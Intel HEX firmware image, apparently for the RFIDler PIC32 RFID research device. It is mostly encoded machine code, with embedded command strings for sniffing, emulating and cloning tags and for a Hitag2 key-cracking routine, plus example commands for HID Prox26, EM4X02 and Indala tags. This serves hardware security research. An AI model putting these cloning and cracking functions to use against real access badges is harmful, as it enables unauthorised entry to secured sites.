:10d32000e6bb400f000000003000c2a3d274400be7
:10d3300000000000029d023c84f8442419bc400f08
:10d34000000000003000c2a38800c48f029d023c90
:10d3500098f8452409000624ae55410f000000004e
:10d3600013004014000000008800c28f090042240e
:10d370002120400007e8400f000000000700401097
:10d380000000000021200000e6bb400f000000006c
:10d390003000c2a3ec74400b00000000029d023c70
:10d3a00084f8442419bc400f000000003000c2a3e0
:10d3b0008800c48f029d023ca4f84524544e410fbe
:10d3c00000000000280040140000000001000424b8
:10d3d000e6bb400f000000003000c2a3029d023ceb
:10d3e0003cec4424029d023cacf845240413410f5c
:10d3f0000000000001000224848082af1175400b00
:10d400000000000000a0023cdc564224870042904d
:10d4100000a0033cdc24642421284000ec2d410fb3
:10d42000000000000700401000000000029d023cc8
:10d4300064ed442400a0023cdc2445240413410f85
:10d44000000000002b15410f00000000edff401010
:10d45000000000004015410f00000000c40c410f07
:10d4600000000000848080af8800c48f029d023cd1
:10d47000ccf845240b000624ae55410f00000000f7
:10d480000900401400000000d1b4400f000000006b
:10d4900021200000e6bb400f000000003000c2a3c6
:10d4a0008275400b000000008800c48f029d023c82
:10d4b000d8f845240b000624ae55410f00000000ab
:10d4c0000b0040140000000005b5400f00000000f4
:10d4d00021200000e6bb400f000000003000c2a386
:10d4e0004015410f000000008275400b0000000055
:10d4f0008800c48f029d023ce4f845240b000624fa
:10d50000ae55410f00000000110040140000000063
:10d5100001000224d68082a30c00042421280000ec
:10d5200064000624213800005b15410f0000000054
:10d5300021200000e6bb400f000000003000c2a325
:10d540004015410f000000008275400b00000000f4
:10d550008800c48f029d023cf0f84524090006248f
:10d56000ae55410f000000002700401400000000ed
:10d57000d68080a36000c0af6400c0af6800c0afb9
:10d580008800c28f090044246000c3276400c227ba
:10d590006800c5271000a5af029d053cfcf8a52436
:10d5a00021306000213840000357410f0000000087
:10d5b00001000424e6bb400f000000003000c2a3bd
:10d5c000029d023c3cec4424029d023c08f94524a7
:10d5d0000413410f000000006000c48f6400c58f79
:10d5e0006800c38f6800c28f2b100200ff0042301a
:10d5f00021306000213840005b15410f0000000021
:10d600004015410f000000008800c48f029d023cbd
:10d610003cf94524544e410f00000000070040141f
:10d620000000000021200000e6bb400f00000000c9
:10d630003000c2a3c40c410f000000008800c48f5a
:10d64000029d023c44f94524544e410f0000000065
:10d65000090040140000000001000424e6bb400f54
:10d66000000000003000c2a306bf400f0000000011
:10d670004015410f000000008800c48f029d023c4d
:10d680004cf94524544e410f000000005100401455
:10d690000000000000a0023cdc56422487004290bb
:10d6a0000800401400000000029d023cc0ef44242a
:10d6b00019bc400f000000003000c2a3f575400bfc
:10d6c0000000000000a0023cdc564224870042908b
:10d6d0006000c32721206000212840004125410f20
:10d6e000000000000800401400000000029d023c01
:10d6f00054f9442419bc400f000000003000c2a3bc
:10d70000f575400b0000000000a0023cdc564224ee
:10d710008700429000a0033c7c6c642421284000d8
:10d720001126410f000000002500401000000000fd
:10d7300000a0023cdc5642248700429000a0033c3b
:10d740007c6d6424212840003126410f0000000038
:10d7500000a0023cdc5642248700429000a0033c1b
:10d760007c6e6424212840005126410f00000000f7
:10d7700001000424e6bb400f000000003000c2a3fb
:10d7800000a0023cdc5642248700429000a0033ceb
:10d790007c6c642400a0033c7c6d652400a0033ce9
:10d7a0007c6e662421384000af26410f0000000047
:10d7b0004015410f00000000f575400b000000000f
:10d7c000029d023c84ef442419bc400f000000007d
:10d7d0003000c2a38800c48f029d023c78f9452422
:10d7e000544e410f000000003800401400000000bb
:10d7f00001000424e6bb400f000000003000c2a37b
:10d80000029d023c3cec4424029d023c84f94524e8
:10d810000413410f00000000c403410f000000008a
:10d820004400c2af4400c28f050040100000000059
:10d83000029d023cb8f942241276400b0000000021
:10d84000029d023cc0f94224029d033cc8f96424b5
:10d85000212840000413410f0000000001000424af
:10d860008803410f000000004400c2af029d023c4b
:10d87000f0f944244400c58f6913410f00000000f3
:10d880005a03410f000000004400c2af029d023c59
:10d8900020fa44244400c58f6913410f00000000a2
:10d8a000e80304248803410f000000004400c2afd5
:10d8b000029d023c54fa44244400c58f6913410f71
:10d8c000000000004015410f000000008800c48fd8
:10d8d000029d023c8cfa452408000624ae55410ff7
:10d8e00000000000160040140000000001000424a5
:10d8f000e6bb400f000000003000c2a300a0023cc5
:10d900007c6c40a08800c28f080042242120400087
:10d91000029d023c3cec452400a0023c7c6c462469
:10d920000357410f0000000000a0023c7c6c44241f
:10d930008d3c410f000000004015410f0000000029
:10d940008800c48f029d023c98fa4524544e410f32
:10d95000000000002400401400000000fdeb400f18
:10d96000000000001b004010000000000100042423
:10d97000e6bb400f000000003000c2a3029d023c45
:10d980003cec4424029d023ca0fa45240413410fc0
:10d99000000000006880829300a0033cf417642418
:10d9a0002128400091b9400f00000000029d023c78
:10d9b0003cec4424029d023c48ed45240413410ff5
:10d9c000000000004015410f000000007a76400b77
:10d9d00000000000029d023c4ced442419bc400fa5
:10d9e000000000003000c2a38800c48f029d023cea
:10d9f000a8fa4524544e410f0000000014004014c2
:10da000000000000d48082930100422cff004230cd
:10da100021204000eb45410f0000000007004010ae
:10da20000000000021200000e6bb400f00000000c5
:10da30003000c2a39476400b00000000029d023c1f
:10da40004ced442419bc400f000000003000c2a37c
:10da50008800c48f029d023cb0fa4524544e410f09
:10da60000000000009004014000000000100042430
:10da7000e6bb400f000000003000c2a30c0d410fb8
:10da8000000000004015410f000000008800c48f16
:10da9000029d023cbcfa4524544e410f0000000098
:10daa00013004014000000002120000099f8400fee
:10dab00000000000f5f7400f0000000007004010d4
:10dac0000000000021200000e6bb400f0000000025
:10dad0003000c2a3bc76400b00000000029d023c57
:10dae0004ced442419bc400f000000003000c2a3dc
:10daf0008800c48f029d023cccfa45241200062403
:10db0000ae55410f000000003e0040140000000030
:10db10006000c0af8800c28f120043246000c2279b
:10db200021206000029d033cbcec652421304000b4
:10db30000357410f00000000020042282c00401053
:10db4000000000006000c28f0500422c2800401039
:10db50000000000001000424e6bb400f00000000ac
:10db60003000c2a300a0023cdc5642249000428c4c
:10db7000060040100000000000a0023cdc564224d9
:10db80009400428c08004014000000006000c28f26
:10db9000ff00423021204000dff4400f0000000071
:10dba000ef76400b000000006000c28fff004230a3
:10dbb000212040003cf6400f00000000029d023c86
:10dbc000e0fa442400a0023cdc2445240413410f65
:10dbd0000000000000a0023cdc2440a0d08080af08
:10dbe0004015410f000000000177400b00000000cd
:10dbf000029d023cecfa442419bc400f00000000d6
:10dc00003000c2a38800c48f029d023c00fb452463
:10dc100006000624ae55410f000000003e004014ef
:10dc20000000000000a0023cdc5642248700429025
:10dc30000800401400000000029d023cc0ef442494
:10dc400019bc400f000000003000c2a34677400b13
:10dc50000000000000a0023cdc56422487004290f5
:10dc60006000c32721206000212840004125410f8a
:10dc7000000000000800401400000000029d023c6b
:10dc800054f9442419bc400f000000003000c2a326
:10dc90004677400b0000000000a0023c7c6c40a0d6
:10dca0008800c28f0600422421204000029d023cd1
:10dcb00008fb452400a0023c7c6c46240357410f1e
:10dcc0000000000000a0023cdc5642248700429085
:10dcd0002120400000a0023c7c6c452425c6400f5a
:10dce000000000000700401000000000212000009c
:10dcf000e6bb400f000000003000c2a34677400b97
:10dd000000000000029d023c0cfb442419bc400fa3
:10dd1000000000003000c2a38800c48f029d023cb6
:10dd20001cfb4524544e410f000000000e0040141f
:10dd30000000000021200000e6bb400f00000000b2
:10dd40003000c2a388bf033c206162940100042418
:10dd5000444a827c206162a488bf033ca061629433
:10dd6000444a027ca06162a48800c48f029d023ce8
:10dd70002cfb4524544e410f0000000009004014c4
:10dd80000000000021200000e6bb400f0000000062
:10dd90003000c2a388bf033c20616294444a027ce5
:10dda000206162a48800c48f029d023c38fb452498
:10ddb00005000624ae55410f000000002d00401460
:10ddc0000000000000a0023cdc5642248700429084
:10ddd0000800401400000000029d023cc0ef4424f3
:10dde00019bc400f000000003000c2a39d77400b1b
:10ddf0000000000000a0023c7c6c40a08800c28fa4
:10de00000500422421204000029d023c08fb4524dd
:10de100000a0023c7c6c46240357410f0000000028
:10de200000a0023cdc5642248700429021204000a2
:10de300000a0023c7c6c45246ec6400f0000000030
:10de4000070040100000000021200000e6bb400f4a
:10de5000000000003000c2a39d77400b00000000ce
:10de6000029d023c0cfb442419bc400f0000000042
:10de70003000c2a38800c48f029d023c40fb4524b1
:10de8000544e410f000000002a0040140000000022
:10de900000a0023cdc564224870042900800401457
:10dea00000000000029d023cc0ec442419bc400f5d
:10deb000000000003000c2a3cd77400b000000003e
:10dec00000a0023cdc5642248700429000a0033ca4
:10ded000dc24642421284000ec2d410f00000000c8
:10dee0000f0040100000000001000424e6bb400fba
:10def000000000003000c2a3029d023c64ed4424f7
:10df000000a0023cdc2445240413410f0000000063
:10df10004015410f00000000cd77400b00000000cd
:10df2000029d023cf8f3442419bc400f000000009d
:10df30003000c2a38800c48f029d023c44fb4524ec
:10df4000544e410f000000000c004014000000007f
:10df500001000424e6bb400f000000003000c2a313
:10df6000029d023c4cfb4424cb0005246913410f65
:10df7000000000004015410f000000008800c48f21
:10df8000029d023c58fb4524544e410f0000000006
:10df9000090040140000000001000424e6bb400f0b
:10dfa000000000003000c2a31fe7400f0000000087
:10dfb0004015410f000000008800c48f029d023c04
:10dfc00060fb452407000624ae55410f0000000009
:10dfd00032004014000000008800c28f0700432474
:10dfe0006000c22721206000029d033c68fb65247d
:10dff0002130400000a0023c7c6c47240357410fb5
:10e000000000000021184000020002241e006214db
:10e01000000000006000c28f2120400000a0023cf0
:10e020007c6c45244ceb400f000000000f004010ba
:10e030000000000001000424e6bb400f00000000c7
:10e040003000c2a3029d023c64ed442400a0023cc7
:10e050007c6c45240413410f000000004015410f63
:10e06000000000002778400b00000000029d023ce9
:10e0700070fb442419bc400f000000003000c2a314
:10e080002778400b00000000029d023c84fb4424e2
:10e0900019bc400f000000003000c2a38800c48fec
:10e0a000029d023ca8fb4524544e410f0000000095
:10e0b0000f004010000000008800c48f029d023c49
:10e0c000b0fb4524544e410f0000000008004010f2
:10e0d000000000008800c48f029d023cb8fb45246c
:10e0e000544e410f000000005d014014000000008c
:10e0f00001000424e6bb400f000000003000c2a372
:10e10000029d023c3cec4424029d023cc0fb4524a1
:10e110000413410f00000000029d023c3cec44242b
:10e12000029d023cecfb45240413410f000000005b
:10e13000029d023c3cec4424029d023c28fc452408
:10e140000413410f00000000029d023c3cec4424fb
:10e15000029d023c64fc45240413410f00000000b2
:10e16000029d023c3cec4424029d023ca8fc452458
:10e170000413410f00000000029d023c3cec4424cb
:10e18000029d023c00fd45240413410f00000000e5
:10e19000029d023c3cec4424029d023c54fd45247b
:10e1a0000413410f00000000029d023c3cec44249b
:10e1b000029d023ca8fd45240413410f000000000d
:10e1c000029d023c3cec4424029d023cf0fd4524af
:10e1d0000413410f00000000029d023c3cec44246b
:10e1e000029d023c34fe45240413410f0000000050
:10e1f000029d023c3cec4424029d023c78fe4524f6
:10e200000413410f00000000029d023c3cec44243a
:10e21000029d023cc0fe45240413410f0000000093
:10e22000029d023c3cec4424029d023c10ff45242c
:10e230000413410f00000000029d023c3cec44240a
:10e24000029d023c5cff45240413410f00000000c6
:10e25000029d023c3cec4424029d023cb4ff452458
:10e260000413410f00000000029d023c3cec4424da
:10e27000029d023c100045240413410f00000000e1
:10e28000029d023c3cec4424029d023c6400452477
:10e290000413410f00000000029d023c3cec4424aa
:10e2a000029d023cb80045240413410f0000000009
:10e2b000029d023c3cec4424029d023c0c0145249e
:10e2c0000413410f00000000029d023c3cec44247a
:10e2d000029d023c580145240413410f0000000038
:10e2e000029d023c3cec4424029d023ca4014524d6
:10e2f0000413410f00000000029d023c3cec44244a
:10e30000029d023cf40145240413410f000000006b
:10e31000029d023c3cec4424029d023c50024524f8
:10e320000413410f00000000029d023c3cec442419
:10e33000029d023cac0245240413410f0000000082
:10e34000029d023c3cec4424029d023cf402452424
:10e350000413410f00000000029d023c3cec4424e9
:10e36000029d023c500345240413410f00000000ad
:10e37000029d023c3cec4424029d023cac0345243b
:10e380000413410f00000000029d023c3cec4424b9
:10e39000029d023cf40345240413410f00000000d9
:10e3a000029d023c3cec4424029d023c4004452476
:10e3b0000413410f00000000029d023c3cec442489
:10e3c000029d023c8c0445240413410f0000000010
:10e3d000029d023c3cec4424029d023cd0044524b6
:10e3e0000413410f00000000029d023c3cec442459
:10e3f000029d023c140545240413410f0000000057
:10e40000029d023c3cec4424029d023c68054524ec
:10e410000413410f00000000029d023c3cec442428
:10e42000029d023cb00545240413410f000000008a
:10e43000029d023c3cec4424029d023cf80545242c
:10e440000413410f00000000029d023c3cec4424f8
:10e45000029d023c400645240413410f00000000c9
:10e46000029d023c3cec4424029d023c840645246f
:10e470000413410f00000000029d023c3cec4424c8
:10e48000029d023cd80645240413410f0000000001
:10e49000029d023c3cec4424029d023c240745249e
:10e4a0000413410f00000000029d023c3cec442498
:10e4b000029d023c740745240413410f0000000034
:10e4c000029d023c3cec4424029d023cc4074524ce
:10e4d0000413410f00000000029d023c3cec442468
:10e4e000029d023c140845240413410f0000000063
:10e4f000029d023c3cec4424029d023c5c08452405
:10e500000413410f00000000029d023c3cec442437
:10e51000029d023cb40845240413410f0000000092
:10e52000029d023c3cec4424029d023c000945242f
:10e530000413410f00000000029d023c3cec442407
:10e54000029d023c3c0945240413410f00000000d9
:10e55000029d023c3cec4424029d023c8809452477
:10e560000413410f00000000029d023c3cec4424d7
:10e57000029d023cd80945240413410f000000000d
:10e58000029d023c3cec4424029d023c240a4524aa
:10e590000413410f00000000029d023c3cec4424a7
:10e5a000029d023c700a45240413410f0000000044
:10e5b000029d023c3cec4424029d023cbc0a4524e2
:10e5c0000413410f00000000029d023c3cec442477
:10e5d000029d023cfc0a45240413410f0000000088
:10e5e000029d023c3cec4424029d023c3c0b452431
:10e5f0000413410f00000000029d023c3cec442447
:10e60000029d023c840b45240413410f00000000ce
:10e61000029d023c3cec4424029d023cc80b452474
:10e620000413410f00000000029d023c3cec442416
:10e63000029d023c0c0c45240413410f0000000015
:10e64000029d023c3cec4424029d023c540c4524b7
:10e650000413410f000000004015410f00000000ae
:10e660008800c48f029d023c940c4524544e410ff7
:10e67000000000001000401400000000010004240d
:10e68000e6bb400f000000003000c2a3029d023c28
:10e690003cec4424029d023ca40c45240413410f8d
:10e6a0000000000021200000dff4400f0000000007
:10e6b0004015410f000000008800c48f029d023cfd
:10e6c000e40c4524544e410f0000000007004014a4
:10e6d0000000000021200000e6bb400f0000000009
:10e6e0003000c2a364f8400f000000008800c48f0f
:10e6f000029d023cf40c4524544e410f00000000e2
:10e70000070040140000000021200000e6bb400f7d
:10e71000000000003000c2a377f8400f00000000a6
:10e720008800c48f029d023c040d4524544e410fc5
:10e73000000000002a004014000000000100042432
:10e74000e6bb400f000000003000c2a3029d023c67
:10e750003cec4424029d023ca40c45240413410fcc
:10e760000000000000a0023cdc2440a000a0023c0d
:10e77000dc5642249000428c06004010000000004d
:10e7800000a0023cdc5642249400428c0600401457
:10e790000000000021200000dff4400f0000000016
:10e7a000ed79400b00000000212000003cf6400ff6
:10e7b00000000000029d023ce0fa442400a0023c5c
:10e7c000dc2445240413410f0000000000a0023c9b
:10e7d000dc2440a0d08080af4015410f0000000035
:10e7e0008800c48f029d023c140d45240e000624af
:10e7f000ae55410f00000000300040140000000042
:10e8000000a0023cdc5642249000428c06004010de
:10e810000000000000a0023cdc5642249400428c20
:10e820000800401400000000029d023c240d442416
:10e8300019bc400f000000003000c2a32f7a400b2b
:10e840000000000077f8400f000000008800c28f31
:10e850000e00422421204000029d023c3cec452455
:10e8600000a0023c7c6c46240357410f00000000ce
:10e8700021184000010002240b0062140000000077
:10e8800021200000e6bb400f000000003000c2a3c2
:10e8900000a0023c7c6c442464f7400f00000000a0
:10e8a0002f7a400b00000000029d023c30ed442412
:10e8b00019bc400f000000003000c2a38800c48fc4
:10e8c000029d023c400d4524544e410f00000000c3
:10e8d000070040140000000021200000e6bb400fac
:10e8e000000000003000c2a3f523410f000000002b
:10e8f0008800c48f029d023c480d45240600062472
:10e90000ae55410f0000000033004014000000002d
:10e910008800c28f060043246000c22721206000c7
:10e92000029d033c68fb65242130400000a0023cae
:10e930007c6c47240357410f000000002118400061
:10e94000020002241f006214000000006000c28f59
:10e950002120400000a0023c7c6c452401000624dc
:10e960001849410f000000000f0040100000000097
:10e9700001000424e6bb400f000000003000c2a3e9
:10e98000029d023c64ed442400a0023c7c6c4524c2
:10e990000413410f000000004015410f000000006b
:10e9a000767a400b00000000029d023c0cfb4424e0
:10e9b00019bc400f000000003000c2a3767a400b63
:10e9c00000000000029d023c84fb442419bc400f5f
:10e9d000000000003000c2a33000c29318004014b1
:10e9e000000000008800c48f029d023c50ec4524ca
:10e9f000544e410f000000000500401000000000d0
:10ea0000d4808393010002240b00621400000000f4
:10ea100001000424e6bb400f000000008800c48f02
:10ea20005065400f000000004015410f000000003d
:10ea3000907a400b0000000034bc400f0000000042
:10ea40009923410f00000000060040100000000064
:10ea5000029d023c500d42243c00c2af9c7a400b08
:10ea600000000000029d023ca8ec42243c00c2af22
:10ea700000a0023cdc56422487004290060040146d
:10ea800000000000029d023c0cf542242c8082af65
:10ea9000b07a400b0000000000a0023cdc5642248b
:10eaa000870042902118400000a0023c801803001b
:10eab0004c714224211062000000428c2c8082aff5
:10eac000d48083930100022411006214000000002e
:10ead000029d023c3cec44243c00c58f0413410fd2
:10eae000000000002c80828f029d033c3cec6424db
:10eaf000212840000413410f00000000029d023c49
:10eb00003cec44244000c58f0413410f000000007a
:10eb10002110000021e8c0038400bf8f8000be8f59
:10eb20008800bd270800e00300000000d8ffbd27d3
:10eb30002400bfaf2000beaf21f0a00388bf023c7d
:10eb4000505240ac88bf023c105240ac88bf023cdf
:10eb5000505040ac88bf033c8050629001000424b8
:10eb60000400827c805062a0f48180af00a0023c4f
:10eb7000d88082afd880828f3412033c78566334b9
:10eb8000000043acc559410f000000001000c2afa7
:10eb900088bf023c0030428c0003427cff004230c0
:10eba0001c00c2af1c00c28f09004014000000000e
:10ebb00088bf023c00100324083043ac88bf023ced
:10ebc0000030428c00084230fcff4014000000007e
:10ebd0001c00c28f1400c2af81bf023c30f240acb7
:10ebe00081bf023c99aa033c5566633430f243acc2
:10ebf00081bf023c6655033caa99633430f243acb2
:10ec000081bf023c0100032418f643ac81bf023ce3
:10ec100010f642241800c2af1800c28f0000428cc8
:08ec2000087b400b000000001e
:020000040000fa
:020000041d01dc
:10ec28004f6666004f6e00004c6f77004869676852
:10ec380000000000257300000700000008200800fd
:10ec480048454c502000000048454c50000000004a
:10ec580020202020257300004e6f74653a20272a53
:10ec6800272070726570656e64656420746f206d0e
:10ec780061696e2070726f6d707420696e6469636b
:10ec88006174657320756e736176656420636f6e59
:10ec9800666967206368616e6765730d0a00000026
:10eca800000000003e200000414e414c4f475545b2
:10ecb800200000002564000053657420544147205b
:10ecc800747970652066697273742100496e766183
:10ecd8006c6964206e756d626572206f6620736161
:10ece8006d706c6573210000414e414c4f4755458e
:10ecf8004e2000004150445520000000415049007a
:10ed080041534b2000000000257320256c6420250a
:10ed1800752025750000000053656e6420666169e2
:10ed28006c65642100000000496e76616c6964209e
:10ed3800706172616d65746572732100415452008f
:10ed48000d0a00004661696c65642100415554480c
:10ed580000000000202573202575000025730d0a8a
:10ed68000000000041757468206661696c65642163
:10ed7800000000004155544f504f54004155544f26
:10ed88005241544500000000547279696e6720288a
:10ed9800666f72206265737420726573756c747324
:10eda80020757365206e6f6e2d7a65726f205359ca
:10edb8004e432062697473293a0d0a0044617461f4
:10edc80020726174652069732052462f25640d0aec
:10edd800000000004155544f52554e004155544fc4
:10ede80052554e204f4646004155544f52554e20dd
:10edf800000000004155544f5441470042494e54c9
:10ee08004f48455820000000424c00005377697471
:10ee18006368696e6720746f20424f4f544c4f41ae
:10ee2800444552206d6f64652e2e2e0d0a0d0a0082
:10ee3800434c4900434c4f434b482000256c660027
:10ee4800434c4f434b50200025752025750000008a
:10ee5800434c4f434b542000256c6400434c4f4ea9
:10ee680045000000434f494c2048494748000000ee
:10ee7800434f494c204c4f5700000000434f4e462b
:10ee880049470000434f4e564552542000000000a9
:10ee9800565461672074797065206e6f74207365ad
:10eea80074210000434f50590000000025732025ad
:10eeb8007300000044454255470000004445425550
:10eec8004720000025690000496e76616c6964205e
:10eed80044454255472070696e210000444542551b
:10eee800474f4e200000000044454255474f4646d4
:10eef800200000004976616c6964204c454421007b
:10ef0800444554454354000057616974696e67204d
:10ef1800666f722065787465726e616c20636c6fc1
:10ef2800636b202868697420616e79206b6579208d
:10ef3800746f2061626f7274292e2e2e0d0a0000e4
:10ef4800444f4f5220434c4f53450000444f4f52bb
:10ef5800204f50454e00000044554d502000000001
:10ef6800496e76616c696420626c6f636b206e75a4
:10ef78006d62657228732921000000005265616482
:10ef8800206661696c6564210000000025643a20f0
:10ef980000000000496e76616c696420626c6f63e2
:10efa8006b206e756d626572287329210d0a000049
:10efb800454d552000000000546167207479706544
:10efc800206e6f742073657421000000454d554c08
:10efd80041544f5200000000454d554c41544f528a
:10efe800204247004372656174652076616c6964ec
:10eff800205654414720666972737421000000004e
:10f00800496e76616c69642055494421000000000e
:10f01800454e434f44452000456e636f6465206646
:10f0280061696c65642100005654414720656e6330
:10f038006f6465206661696c656421004558414dbf
:10f04800504c45530000000052415720456d756ce7
:10f058006174696f6e206578616d706c65733a0dc7
:10f068000a0000000d0a2020454d3458303220494e
:10f0780044202730303030444334343230270d0aae
:10f088000d0a000020202020534554204d414e20d9
:10f098004f4e0d0a000000002020202041534b2035
:10f0a80046463830303030364630393439343036e8
:10f0b800203830302036342032300d0a000000006d
:10f0c8000d0a2020556e6971756520494420273046
:10f0d800444541444245454630270d0a0d0a000083
:10f0e8002020202041534b20464644433041374599
:10f0f80045454637383343302038303020363420c1
:10f1080032300d0a000000000d0a20204849442032
:10f1180050726f783236205369746520436f646586
:10f12800203132332049442034353637380d0a0d22
:10f138000a00000020202020534554204d414e2035
:10f148004f46460d0a0000002020202046534b2041
:10f15800314435353539353535353639414136411e
:10f168003639363541364136203830302035302072
:10f17800382031302032300d0a0000000d0a2020de
:10f18800496e64616c612028656e6372797074657c
:10f1980064293a0d0a0d0a002020202050534b31d3
:10f1a8002030303030303030323541413941324210
:10f1b80030373446313133413436343545323042d4
:10f1c8003741373932423833314444334335384490
:10f1d80032374137323742324220383030203332ea
:10f1e80020322032300d0a000d0a0d0a2054414702
:10f1f80020456d756c6174696f6e206578616d70fe
:10f208006c65730d0a0000000d0a2020454d345826
:10f218003032204944202741424344453132333477
:10f2280035270d0a0d0a00002020202053455420c0
:10f2380054414720454d345830320d0a0000000033
:10f2480020202020454d552041424344453132334a
:10f2580034350d0a000000000d0a2020556e697132
:10f2680075652049442027303043414645463030b3
:10f2780044270d0a0d0a0000202020205345542061
:10f2880054414720554e495155450d0a000000008c
:10f2980020202020454d55203030434146454630fa
:10f2a80030440d0a000000000d0a2020484944207f
:10f2b80050726f783236205369746520436f6465e5
:10f2c800203235342049442030303636360d0a0d88
:10f2d8000a00000020202020534554205441472094
:10f2e80048494432360d0a0020202020454d55203b
:10f2f80032353430303636360d0a00000d0a0d0a24
:10f308002052574420636f6d6d616e64206578618b
:10f318006d706c65730d0a00203d3d3d3d3d3d3de2
:10f328003d3d3d3d3d3d3d3d3d3d3d3d3d0d0a00a5
:10f338000d0a2020486974616732205354415254a1
:10f348005f415554480d0a0d0a0000002020202076
:10f3580050574d2038303020343030302034303061
:10f368003020313820323620350d0a002020202068
:10f378005257442031313030300d0a0046534b206b
:10f3880000000000257320256c6420257520257554
:10f39800202575202575000053656e64696e672009
:10f3a800257320004652455155454e4359000000eb
:10f3b80025640d0a00000000484558544f42494e44
:10f3c800200000004849544147322d435241434be5
:10f3d800200000005441472074797065206d7573d2
:10f3e80074206265204849544147322100000000da
:10f3f80072656164206572726f72210048495441d8
:10f4080047322d4b455953545245414d2000000079
:10f418004849544147322d52454144455200000065
:10f4280053000000344634453444343934423532cc
:10f43800000000004849544147322d434c45415291
:10f4480053544f524544544147530000484954418e
:10f4580047322d434f554e5453544f52454454410f
:10f46800475300004849544147322d4c495354539f
:10f47800544f5245445441475300000048495441b1
:10f4880047322d524e47494e49542000484954416d
:10f4980047322d444543525950544845582000009e
:10f4a8004849544147322d444543525950544249e2
:10f4b8004e2000004c45442000000000496e766153
:10f4c8006c6964204c454421000000004c45444fc1
:10f4d8004e2000004c45444f464620004c4f4144c6
:10f4e800000000004c4f47494e0000004c6f676910
:10f4f8006e206661696c65642100000050494e47c2
:10f5080000000000524649446c657200504f545345
:10f5180000000000504f5444454320002563202537
:10f5280064000000504f542064656372656d656e19
:10f5380074206661696c656421000000496e76611b
:10f548006c696420706172616d6574657273000026
:10f55800504f54494e432000504f5420696e6372f7
:10f56800656d656e74206661696c656421000000d4
:10f57800696e76616c696420706172616d6574652d
:10f5880072730000504f545345542000504f54207c
:10f59800736574206661696c65642100496e7661e3
:10f5a8006c696420706172616d6574657221000018
:10f5b800504f545345544e5620000000504f54535a
:10f5c8004554562000000000256320256c66000085
:10f5d80050534b3120000000257320256c642025f2
:10f5e800752025752025750050574d200000000016
:10f5f800257520257520257520257520257520253c
:10f6080075202575202575005245414420000000cd
:10f6180056546167206e6f7420636f6d70617469f2
:10f62800626c6521000000005245414445520000cb
:10f638005441472074797065206e6f742073657427
:10f64800210000005245424f4f54000052544300dd
:10f65800253032782f253032782f25303278202502
:10f668003032783a253032783a2530327800000046
:10f6780052574420000000004661696c65642120ef
:10f6880050574d20706172616d6574657273206e9c
:10f698006f7420736574206f7220696e76616c696f
:10f6a80064206461746121005341564500000000e4
:10f6b800566572696679206661696c656421000027
:10f6c80053454c454354000053656c65637420668c
:10f6d80061696c65642100005345542042495048d3
:10f6e800415345204f46460053455420424950480f
:10f6f800415345204f4e000053455420424954532e
:10f708002000000025750000496e76616c69642050
:10f718006461746120626974732100005345542048
:10f7280046432000496e76616c6964204643207028
:10f738006572696f6421000053455420494e56454f
:10f748005254204f4646000053455420494e5645d2
:10f758005254204f4e000000534554204d414e4313
:10f76800484553544552204f4646000053455420bf
:10f778004d414e43484553544552204f4e000000da
:10f78800534554204d4f44200000000041534b0086
:10f7980046534b0050534b3100000000556e6b6ec2
:10f7a8006f776e206d6f64756c6174696f6e20730e
:10f7b8006368656d652100005345542050534b2004
:10f7c80000000000534554205241544520000000d9
:10f7d800496e76616c696420646174612072617439
:10f7e800652100005345542052455045415420009e
:10f7f800496e76616c6964207265706574697469b4
:10f808006f6e732100000000534554205355423059
:10f818002000000053455420535542312000000079
:10f828005345542053594e43424954532000000035
:10f83800496e76616c6964206e756d626572206fc1
:10f8480066206269747321005345542053594e430e
:10f85800000000002575202558000000496e7661db
:10f868006c69642073796e63206279746521000085
:10f87800534554205441472000000000556e6b6edc
:10f888006f776e205441472074797065210000001d
:10f89800534554205654414720000000534e4946d2
:10f8a8004645520048697420616e79206b6579205d
:10f8b800746f2073746f7020736e69666665720d5d
:10f8c8000a000000534e4946462d50574d2043002c
:10f8d800534e4946462d50574d204c00534e4946ed
:10f8e800462d50574d205300534e4946462d5057ec
:10f8f8004d000000202564202564202564000000b8
:10f9080057616974696e6720666f722050574d2081
:10f918002868697420616e79206b657920746f207e
:10f9280061626f72742f7265706f7274292e2e2e39
:10f938000d0a000053544f50000000005441475333
:10f948000000000054434f4e464947004e6f742054
:10f95800737570706f7274656420666f7220746856
:10f968006973207461672074797065210000000054
:10f97800544553542d484954414700000d0a6265c7
:10f988006e63686d61726b20262076657269667990
:10f9980020486974616720322063727970746f201f
:10f9a800696d706c656d656e746174696f6e000069
:10f9b80050617373000000004641494c000000008c
:10f9c8000d0a43727970746f2073656c66207465d4
:10f9d8007374206f6620636f72726563746e6573eb
:10f9e80073203d20257300000d0a48697461672063
:10f9f800322063727970746f2c20696e6974202bc1
:10fa08002067656e2033322062697473202d20755b
:10fa1800733a20256c6400000d0a486974616720f8
:10fa2800322063727970746f2c2067656e206e6562
:10fa3800772033322062697473206f6e6c79202dc1
:10fa48002075733a20256c64000000000d0a48698f
:10fa580074616720322063727970746f2c20696e2c
:10fa68006974202b2067656e2033322062697473b5
:10fa78002c207831303030202d2075733a20256cb9
:10fa8800640d0a00544553542d5257440000000099
:10fa9800544553542d5343004154523a200000001a
:10faa800544553542d534400544553542d54494df3
:10fab80045520000544553542d57494547414e443b
:10fac80000000000544553542d57494547414e44c2
:10fad8002d52454144200000526561643a20257347
:10fae8000d0a0000496e76616c6964206465627570
:10faf800672070696e210000545245534554000038
:10fb0800202573005772697465206661696c6564a5
:10fb1800210000005452495354415445204f464651
:10fb2800000000005452495354415445204f4e00a0
:10fb38005457495045000000554944005645525312
:10fb4800494f4e00253034642d626574610d0a00fa
:10fb5800565441470000000056575249544520006a
:10fb68002575202573000000565441472077726997
:10fb78007465206661696c6564210000496e766170
:10fb88006c696420626c6f636b206e756d62657260
:10fb9800206f72206e6f2064617461210000000084
:10fba800574952494e4700005749524553000000f3
:10fbb80050494e530000000020203d3d3d2057494c
:10fbc80052494e473a205049433332205049433333
:10fbd800324d58373935463531324c203d3d3d0d93
:10fbe8000a000000202050494e204e554d424552f3
:10fbf800202f204e414d452020202020202020204d
:10fc080046554e4354494f4e202020202020202086
:10fc180020202020202020205553450d0a000000d8
:10fc280020203d3d3d3d3d3d3d3d3d3d3d3d3d3d36
:10fc38003d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3dec
:10fc48003d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3ddc
:10fc58003d3d3d3d3d3d3d0d0a0000002020313336
:10fc680020202020202020202020205f4d434c529f
:10fc7800202020202020202052455345545f425503
:10fc880054544f4e202020202020202020202020a7
:10fc98005265736574202f205650500d0a000000dd
